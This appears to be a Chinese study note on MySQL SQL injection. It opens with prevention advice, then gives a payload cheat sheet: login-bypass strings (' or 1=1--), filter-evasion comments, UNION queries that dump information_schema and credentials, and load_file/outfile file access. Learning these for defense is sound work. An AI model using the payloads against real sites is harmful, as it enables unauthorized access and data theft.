前提
在学习了MySQL 常见命令与程序的学习后,对于SQL命令有了深入的了解后,学习SQL 注入
SQL注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题。
本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符。
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。
防止注入
永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用==sql注入检测工具jsky==,网站平台就有亿思网站安全平台检测工具。==MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击==等。
PHP 防止注入发生
在脚本语言,如Perl和PHP你可以对用户输入的数据进行转义从而来防止SQL注入。
PHP的MySQL扩展mysqli_real_escape_string()
函数来转义特殊的输入字符
PHP脚本中我们可以使用addcslashes()
函数来处理以上情况:用户输入的值有"_"
和"%"
,则会出现这种情况:用户本来只是想查询"abcd_"
,查询结果中却有"abcd_"、"abcde"、"abcdf"
;slash
表示斜杠;
注入参数
user()
:当前数据库用户
database()
:当前数据库名
version()
:当前使用的数据库版本
@@datadir
:数据库存储数据路径
concat()
:联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat()
:和 concat()
类似,如 group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来
concat_ws()
:用法类似
hex()
和 unhex()
:用于 hex 编码解码
load_file()
:以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径'
:权限较高时可直接写文件
语法技巧
--
DROP sampletable;--
#
DROP sampletable;#
行内注释
/*注释内容*/
DROP/*comment*/sampletable` DR/**/OP/*绕过过滤*/sampletable` SELECT/*替换空格*/password/**/FROM/**/Members
/*! MYSQL专属 */
SELECT /*!32302 1/0, */ 1 FROM tablename
字符串编码
ASCII()
:返回字符的 ASCII 码值
CHAR()
:把整数转换为对应的字符
后台万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
注入语句
获取所有数据库名和表名
#获取所有数据库
show databases;
select schema_name from information_schema.schemata;
# 查看当前所在的数据库名称
select database();
# 查看表
show tables;
使用union 来注入
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
获取表明列明
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' # 获取某一个表的对应的所有列名
-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
# 获取列名
show columns from [数据表]
show index from [数据表]
条件语句的注入
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
绕过引号的限制
如何绕过引号的限制
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
如何绕过的特殊字符串
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
使用 CONCAT()
时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()
。CONCAT_WS()
函数第一个参数表示用哪个字符间隔所查询的结果。
参考
[1]
0 评论